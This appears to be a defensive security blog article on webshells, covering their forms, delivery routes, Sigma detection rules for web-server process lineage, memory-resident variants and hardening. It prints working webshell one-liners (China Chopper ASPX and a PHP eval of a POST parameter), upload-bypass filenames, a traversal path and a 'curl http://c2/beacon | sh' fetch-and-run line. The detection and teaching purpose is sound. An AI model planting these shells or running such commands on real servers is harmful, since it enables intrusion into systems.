Malware Analysis

What Is a Webshell?

HuntRule Team · · 11 min read

A concealed door set flush into a plain concrete wall, its outline barely visible under raking light
On this page

China Chopper's server component is one line of ASPX.

<%@ Page Language="Jscript"%><%eval(Request.Item["password"],"unsafe");%>

That line, dropped anywhere under a web root that IIS will hand to the ASP.NET handler, gives an operator command execution over ordinary HTTP POST requests. There is no service to install, no scheduled task, no registry key. The web server was already listening on 443 and already had permission to run code. The webshell just borrows both.

That borrowing is the whole point, and it is why webshells outlive the response actions that evict most other backdoors. A webshell does not authenticate. It inherits whatever identity the worker process already holds: the app pool identity on IIS, www-data on Debian-family Apache and nginx, the Tomcat service account on a Java stack. Reset every domain password and the shell still answers. Segment the network so the host cannot reach anything new and the shell still answers, because it reaches you, over the port the firewall exists to keep open.

The forms

Three shapes cover most of what you will see, and they fail different detections.

The one-liner. A single eval or assert over an attacker-controlled request parameter. The PHP form is a dozen bytes of logic.

<?php @eval($_POST['x']); ?>

These get appended to the bottom of a legitimate file more often than they get dropped as new files. index.php grows by one line and its modification time changes. Nothing else does.

The panel. c99, b374k, ASPXSpy, P.A.S. Webshell. Full HTML interfaces with a file browser, a SQL client, a reverse shell launcher and a port scanner, usually several hundred kilobytes of obfuscated source behind a password prompt. Loud on disk, and the reason entropy-based scanning got popular.

The memory-resident shell. No file on disk at all. On Java stacks the operator attaches to the running JVM through the Instrumentation API and registers a Filter, Servlet or Tomcat Valve that never appears in web.xml or server.xml. Behinder and Godzilla both ship this capability. On IIS the equivalent is an HTTP module registered in the worker process. ls -la on the web root returns nothing interesting because there is nothing there.

How they arrive

Four vectors account for most of it, and none of them require malware to survive a reboot on their own.

  1. Upload validation bypass. The application checks the extension against a deny list, so the file lands as avatar.php.jpg, shell.phtml, x.php5 or web.config with a handler mapping inside it.

  2. Path traversal in an upload or extract routine. ../../wwwroot/x.aspx moves an otherwise harmless upload into a directory the handler will execute.

  3. Exploitation of the application itself (T1190). This is the common one. Progress MOVEit Transfer's CVE-2023-34362 chain ended with human2.aspx, the ASPX shell CISA tracks as LEMURLOOT, written straight into the wwwroot directory.

  4. A compromised deployment pipeline (T1195.002). The shell arrives inside a signed, reviewed, correctly deployed artifact. Every file-integrity control that trusts the pipeline agrees the file belongs there.

Why file-level detection is the easy half

File detection is the first thing everyone builds and the first thing an operator defeats. The signals are real: a new file with an executable extension under a web root, high Shannon entropy in a .php that should be templating HTML, base64 blobs, gzinflate(base64_decode( chains, preg_replace with the /e modifier.

SigmaHQ ships a file-creation rule for the static-content case.

title: Potential Webshell Creation On Static Website
id: 39f1f9f2-9636-45de-98f6-a4046aa8e4b9
status: test
description: Detects the creation of files with certain extensions on a static web site. This can be indicative of potential uploads of a web shell.
author: Beyu Denis, oscd.community, Tim Shelton, Thurein Oo
date: 2019-10-22
modified: 2023-10-15
tags:
    - attack.persistence
    - attack.t1505.003
logsource:
    product: windows
    category: file_event
detection:
    selection_wwwroot_path:
        TargetFilename|contains: '\inetpub\wwwroot\'
    selection_wwwroot_ext:
        TargetFilename|contains:
            - '.ashx'
            - '.asp'
            - '.ph'
            - '.soap'
    selection_htdocs_path:
        TargetFilename|contains:
            - '\www\'
            - '\htdocs\'
            - '\html\'
    selection_htdocs_ext:
        TargetFilename|contains: '.ph'
    filter_main_temp:
        TargetFilename|contains:
            - '\AppData\Local\Temp\'
            - '\Windows\Temp\'
    filter_main_system:
        Image: 'System'
    filter_main_legitimate:
        TargetFilename|contains: '\xampp'
    condition: (all of selection_wwwroot_* or all of selection_htdocs_*) and not 1 of filter_main_*
falsepositives:
    - Legitimate administrator or developer creating legitimate executable files in a web application folder
level: medium

Read the condition and the evasions write themselves. Deploy to a site that is not under \inetpub\wwwroot\ and the first branch never fires. Append your line to an existing file and there is no file_event at all, because Sysmon Event ID 11 fires on creation, not on modification of an existing path. Keep the rule. It is cheap and it catches the careless. Do not build your program on it.

Process lineage is the durable signal

The one thing an interactive webshell operator eventually needs is a process. Enumerating users, reading /etc/shadow, dumping a database, moving laterally: all of it means the web server process spawns a child it has no business spawning. On a normal estate w3wp.exe spawns almost nothing. That makes the edge itself the detection, independent of what the shell looks like on disk.

SigmaHQ's rule for this is Suspicious Process By Web Server Process, abridged here because the upstream child-process list is longer.

title: Suspicious Process By Web Server Process
id: 8202070f-edeb-4d31-a010-a26c72ac5600
status: test
description: |
    Detects potentially suspicious processes being spawned by a web server process which could be the result of a successfully placed web shell or exploitation
references:
    - https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF
author: Thomas Patzke, Florian Roth (Nextron Systems), Zach Stanford @svch0st, Tim Shelton, Nasreddine Bencherchali (Nextron Systems)
date: 2019-01-16
modified: 2024-11-26
tags:
    - attack.persistence
    - attack.initial-access
    - attack.t1505.003
    - attack.t1190
logsource:
    category: process_creation
    product: windows
detection:
    selection_webserver_image:
        ParentImage|endswith:
            - '\caddy.exe'
            - '\httpd.exe'
            - '\nginx.exe'
            - '\php-cgi.exe'
            - '\php.exe'
            - '\tomcat.exe'
            - '\UMWorkerProcess.exe'
            - '\w3wp.exe'
            - '\ws_TomcatService.exe'
    selection_webserver_characteristics_tomcat1:
        ParentImage|endswith:
            - '\java.exe'
            - '\javaw.exe'
        ParentImage|contains:
            - '-tomcat-'
            - '\tomcat'
    selection_webserver_characteristics_tomcat2:
        ParentImage|endswith:
            - '\java.exe'
            - '\javaw.exe'
        ParentCommandLine|contains:
            - 'CATALINA_HOME'
            - 'catalina.home'
            - 'catalina.jar'
    selection_anomaly_children:
        Image|endswith:
            - '\arp.exe'
            - '\at.exe'
            - '\bash.exe'
            - '\bitsadmin.exe'
            - '\certutil.exe'
            - '\cmd.exe'
            - '\cscript.exe'
            - '\dsget.exe'
            - '\hostname.exe'
            - '\sh.exe'
            - '\wmic.exe'
            - '\wscript.exe'
            - '\wusa.exe'
    condition: 1 of selection_webserver_* and selection_anomaly_children and not 1 of filter_main_*
falsepositives:
    - Particular web applications may spawn a shell process legitimately
level: high

UMWorkerProcess.exe in that parent list is the Exchange Unified Messaging worker, and it is there because of the March 2021 Exchange zero-day activity, where it was the parent for post-exploitation children. That is the shape of the whole rule: named parents, generic children, no dependence on the shell's contents.

The false positives are real and they are not exotic.

  • Legacy CGI. Perl and shell CGI under /cgi-bin/ is exactly a web server spawning an interpreter. If you still run it, that path is a permanent exception.

  • Build and deploy tooling on the same host. A Jenkins or TeamCity agent running under Tomcat spawns cmd.exe all day, matching selection_webserver_characteristics_tomcat2 on catalina.home.

  • Application health checks and monitoring plugins that shell out to hostname or arp.

  • Vendor appliances. The upstream rule already carries two filter_main_fp_* clauses for ManageEngine ADManager Plus, which tells you how these exceptions accumulate.

Tune by parent plus command line, not by muting the parent. Muting w3wp.exe because one application is noisy removes the detection for every site in the farm. We have not measured alert volume for this rule on a production estate, so treat those as categories to check, not as a rate.

The Linux equivalent is narrower and correspondingly quieter.

title: Linux Webshell Indicators
id: 818f7b24-0fba-4c49-a073-8b755573b9c7
status: test
description: Detects suspicious sub processes of web server processes
author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)
date: 2021-10-15
modified: 2022-12-28
tags:
    - attack.persistence
    - attack.t1505.003
logsource:
    product: linux
    category: process_creation
detection:
    selection_general:
        ParentImage|endswith:
            - '/httpd'
            - '/lighttpd'
            - '/nginx'
            - '/apache2'
            - '/node'
            - '/caddy'
    selection_tomcat:
        ParentCommandLine|contains|all:
            - '/bin/java'
            - 'tomcat'
    selection_websphere:
        ParentCommandLine|contains|all:
            - '/bin/java'
            - 'websphere'
    sub_processes:
        Image|endswith:
            - '/whoami'
            - '/ifconfig'
            - '/ip'
            - '/bin/uname'
            - '/bin/cat'
            - '/bin/crontab'
            - '/hostname'
            - '/iptables'
            - '/netstat'
            - '/pwd'
            - '/route'
    condition: 1 of selection_* and sub_processes
falsepositives:
    - Web applications that invoke Linux command line tools
level: high

Note the blind spot in the child list. It is recon binaries only. /bin/sh, curl and wget are absent, so a shell that goes straight from eval to curl http://c2/beacon | sh produces no match. On mod_php the parent is /apache2 and the rule applies. On PHP-FPM the parent is php-fpm, which is in neither selection_general nor selection_tomcat, so add it before you rely on this rule for a modern LEMP stack.

The gap: memory-resident shells

A freestanding door frame in an empty concrete room with no wall around it, faint light falling through the opening

Everything above assumes a file, a process, or both. A memory-resident Java shell gives you neither. The Filter lives in the running JVM's object graph, commands arrive at a URL the application legitimately serves, and every file on disk still matches its known-good hash. If the operator only reads files or queries the database through the JDBC connection the application already holds, no child process is ever created.

Honest position: file scanning misses this completely, and process lineage misses it until the operator wants a shell. What is left is thinner.

  • Java agent attachment. jcmd, jattach or any process invoking VirtualMachine.attach against a running application JVM is worth an alert in production, where nobody should be attaching agents.

  • Configuration drift. Compare the Filter, Servlet and Valve chain in the running JVM against web.xml and server.xml. On IIS, diff Get-WebGlobalModule and Get-WebConfiguration output against a baseline.

  • Network behaviour. Outbound connections from w3wp.exe or the JVM to a destination the application has no reason to contact.

  • Web logs. Repeated POSTs to one cs-uri-stem with a near-constant cs-bytes and a rotating c-ip, or a cs(User-Agent) that appears on that one URI and nowhere else in the site.

None of those are as reliable as the lineage rule. Say so out loud when you write the detection coverage doc, rather than marking T1505.003 green because two rules exist.

Hardening that actually helps

Detection buys you time. These reduce what the shell can do with it.

Make the web root read-only to the account the worker process runs as. Most applications never write to their own document root, and the ones that do write to a single upload directory. Move that directory outside the document root and serve its contents through a handler rather than by path. An upload that lands where the interpreter will not touch it is inert.

Block execution outside the application directory. In PHP, open_basedir pins file access to declared paths and disable_functions removes system, exec, shell_exec, passthru, popen and proc_open, which is most of what a panel shell offers. On IIS, remove handler mappings for extensions the site does not serve and use Request Filtering to deny uploads to executable paths. On Linux, an SELinux or AppArmor policy that forbids the httpd_t domain from executing shells stops the lineage edge at the kernel instead of at the SIEM.

One caution about noexec. Mounting /var/www with noexec stops a dropped ELF binary from running. It does nothing to a .php file, which is read and interpreted by an already-running process rather than executed. Deploy it, but do not count it as webshell mitigation.

ATT&CK mapping

Technique

ID

Where it shows up

Server Software Component: Web Shell

T1505.003

The shell itself, file or in memory

Exploit Public-Facing Application

T1190

MOVEit, Exchange, any pre-auth RCE that drops the shell

Command and Scripting Interpreter

T1059

cmd.exe or /bin/sh spawned by the worker process

Supply Chain Compromise: Compromise Software Supply Chain

T1195.002

Shell shipped inside a legitimate deployment artifact

Summary

A webshell is a backdoor whose privilege is the web server's privilege, which is why credential rotation and network segmentation do not remove it. File-level detection catches the careless and is defeated by appending one line to an existing file. The durable signal is process lineage, because an interactive operator eventually needs a child process the web server would never spawn on its own. Memory-resident shells break both approaches and leave you with configuration drift checks and web log analysis, which is a gap worth recording rather than papering over. The layering discipline behind all of this is covered in what is detection engineering.

Rules for the web-facing side of the estate are at /rules?domain=web, and the lineage rules discussed here are under /rules?q=webshell.

Collect these before you write the rules.

Windows
  Sysmon Event ID 1   process creation with ParentImage and CommandLine
  Sysmon Event ID 11  file create under web roots
  Sysmon Event ID 3   network connection, filtered to w3wp.exe and java.exe
  Security 4688       requires "Include command line in process creation events"
  IIS W3C log fields  date time c-ip cs-method cs-uri-stem cs-uri-query
                      sc-status sc-bytes cs-bytes cs(User-Agent)

Linux
  auditd execve       with ppid and comm, or Sysmon for Linux Event ID 1
  Apache access_log   combined format, plus error_log for handler failures
  file integrity      watch on document roots, on modify as well as create

Related articles